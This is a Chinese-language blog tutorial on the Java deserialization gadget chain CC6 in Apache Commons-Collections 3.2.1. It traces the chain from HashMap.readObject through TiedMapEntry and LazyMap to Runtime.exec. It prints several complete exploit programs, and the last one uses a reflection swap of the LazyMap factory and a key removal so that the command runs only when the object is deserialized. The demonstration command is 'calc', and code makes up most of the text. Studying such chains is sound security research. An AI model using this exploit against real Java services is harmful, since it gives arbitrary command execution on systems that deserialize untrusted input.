java反序列化-CC6链 分析
CC6链 分析
- 开始我们 CC 链代码审计的第二个链子 CC6
先说一说 CC6 链同我们之前 CC1 链的一些不同之处吧,我们当时审计 CC1 链的时候要求是比较严格的。要求的环境为 jdk8u65 与 Commons-Collections 3.2.1
而我们的 CC6 链,可以不受 jdk 版本制约。
如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS
CC6 链的前半条链与 CC1 正版链子是一样的,也就是到 LazyMap 链

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
找链子
- 根据 ysoSerial 官方的链子,是
TiedMapEntry类中的getValue()方法调用了LazyMap的get()方法。

java安全太卷了啊,get方法处查找用法会出现成千上万个调用的地方啊我勒个豆!!这里我们直接跟进到TiedMapEntry 类中的 getValue() 方法吧。

这里先重新写一遍通过LazyMap调用计算器的代码吧
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class try1 {
public static void main (String[] args) throws Exception {
Runtime runtime=Runtime.getRuntime();
InvokerTransformer invokertransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object>hashmap=new HashMap<>();
Map decoratemap= LazyMap.decorate(hashmap,invokertransformer);
//接下来获取get方法,调用factory.transform
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazygetmethod=lazyMapClass.getDeclaredMethod("get",Object.class);
lazygetmethod.setAccessible(true);
lazygetmethod.invoke(decoratemap,runtime);
}
}

我们的下一步就是通过TiedMapEntry类的getValue()方法来调用LazyMap类的get()方法。
我们用 TiedMapEntry 写一个 EXP,确保这条链子是能用的。
- 因为
TiedMapEntry是作用域是public,所以我们不需要反射获取它的方法,可以直接调用并修改。


import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class try1 {
public static void main (String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object>hashmap=new HashMap<>();
Map lazymap=LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"runtime");
tiedmapentry.getValue();
}
}

这里的逻辑还是很简单的,直接 new 一个 TiedMapEntry 对象,并调用它的 getValue() 方法即可,它的 getValue 方法会去调用 map.get(key) 方法。
接下来要去找谁调用了TiedMapEntry的getValue()方法.
- 寻找的方法也略提一嘴,因为
getValue()这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况。
寻找到同名函数下的 hashCode() 方法调用了 getValue() 方法。

如果我们在实战里面,在链子中找到了 hashCode() 方法,说明我们的构造已经可以“半场开香槟”了,因为可以直接根据urldns的链来进行了。
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()
hashcode之后的链子基本上就这一条。
这里先给出一段从 HashMap.put 开始,到 InvokerTransformer 结尾的弹计算器的 EXP:
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class try1 {
public static void main (String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object>hashmap=new HashMap<>();
Map lazymap=LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"runtime");
HashMap<Object,Object>expmap=new HashMap<>();
expmap.put(tiedmapentry,"value");
}
}
这里在 25 行,也就是 HashMap<Object, Object> expMap = new HashMap<>(); 这里打断点,会发现直接 24 行就弹计算器了

因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器。


把这个启动toString对象视图关闭就可以了!
然后我们接着分析链子。
HashMap 类的 put() 方法自动调用了 hashCode 方法
接下来尝试构造最终EXP:
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class try1 {
public static void main (String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object>hashmap=new HashMap<>();
Map lazymap=LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"runtime");
HashMap<Object,Object>expmap=new HashMap<>();
expmap.put(tiedmapentry,"value");
serialize(expmap);
unserialize("ser.bin");
}
public static void serialize(Object obj)throws IOException{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

但是!!!!
我在打断点调试的时候发现当我序列化的时候,就能够弹出计算器,太奇怪了,这与 URLDNS 链中的情景其实是一模一样的。


在put方法进行时就会调用hashCode()从而导致弹出计算器。
解决在序列化的时候就弹出计算器的问题
由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。
接下来我们需要解决这个问题!
- 参考 URLDNS 链中的思想,先在执行
put()方法的时候,先不让其进行命令执行,在反序列化的时候再命令执行。
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
我们之前传进去的参数是 chainedTransformer,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回 chainedTransformer。
相关的属性值在 LazyMap 当中为 factory,作用域为protected

Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
反射修改lazymap的factory的值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, chainedTransformer);
然后尝试进行序列化和反序列化
exp如下:
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class try1 {
public static void main (String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object>hashmap=new HashMap<>();
Map lazymap=LazyMap.decorate(hashmap,new ConstantTransformer("1"));
TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"2");
HashMap<Object,Object>expmap=new HashMap<>();
expmap.put(tiedmapentry,"3");
Class<LazyMap>lazyMapClass=LazyMap.class;
Field factoryField=lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
serialize(expmap);
unserialize("ser.bin");
}
public static void serialize(Object obj)throws IOException{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}

代码执行了,但是并没有弹出计算器。这是为什么呢?
HashMap的put方法调用了hash(key),hash方法调用了key.hashCode(),进而执行tiedMapEntry.hashCode()方法,然后就会执行lazymap.get()
接下来我们定位到lazymap的get方法

这里需要满足map.containsKey(key) == false才能进入if语句执行transform方法
而我们之前的,这里key为2,map.containsKey(key)为true,没有进入到if语句中,因此没有进行命令执行。

可是我也没有给lazymap传入key为2的数据啊,这是为什么捏?
注意,问题还是LazyMap的get方法
序列化前的操作:如果map没包含这个key,那么就给map传入这个键值对。
这里的"2"其实就是我们上面TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"2");时传入的key值2
这样就会导致反序列化时map里已经存在这个key了,所以不会执行factory.transform(key),从而导致无法命令执行。

所以,我们需要在hashMap.put之后,把lazymap的ley删除掉
lazymap.remove("2");
然后就可以弹计算器啦~!!



serialize执行后没有弹计算器,但是unserialize执行后会弹出计算器!拿捏~!
整体EXP:
import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class try1 {
public static void main (String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object>hashmap=new HashMap<>();
Map lazymap=LazyMap.decorate(hashmap,new ConstantTransformer("1"));
TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"2");
HashMap<Object,Object>expmap=new HashMap<>();
expmap.put(tiedmapentry,"3");
lazymap.remove("2");
Class<LazyMap>lazyMapClass=LazyMap.class;
Field factoryField=lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
serialize(expmap);
unserialize("ser.bin");
}
public static void serialize(Object obj)throws IOException{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}
整体利用链
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
再提一嘴,CC6 链被称为最好用的 CC 链,是因为其不受 jdk 版本的影响,无论是 jdk8u65,或者 jdk9u312 都可以复现。只收CC限制影响,要在3.2.1极其以下吧我记得。

浙公网安备 33010602011771号